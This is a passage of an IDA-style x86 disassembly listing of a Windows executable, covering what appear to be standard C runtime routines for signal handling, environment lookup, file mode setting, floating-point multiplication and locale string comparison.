		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB5AC
		mov	eax, offset dword_4DB5AC
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB5A8
		mov	eax, offset dword_4DB5A8
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB5B0
		mov	eax, offset dword_4DB5B0
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB5A4
		mov	eax, offset dword_4DB5A4


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB380
		and	dword_4DB380, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C97C
		mov	dword_43C97C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C970
		mov	ecx, dword_43C974
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C900h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C97C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB380, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C97C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8FC, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC950, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2D8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2D0
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB2A8, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB2A8, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDF8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF58
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC704
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC924
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2D8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB5B8, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB5B8, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE5C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25D078Fh
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB5B8, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB5B8
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D078Fh
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28B0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
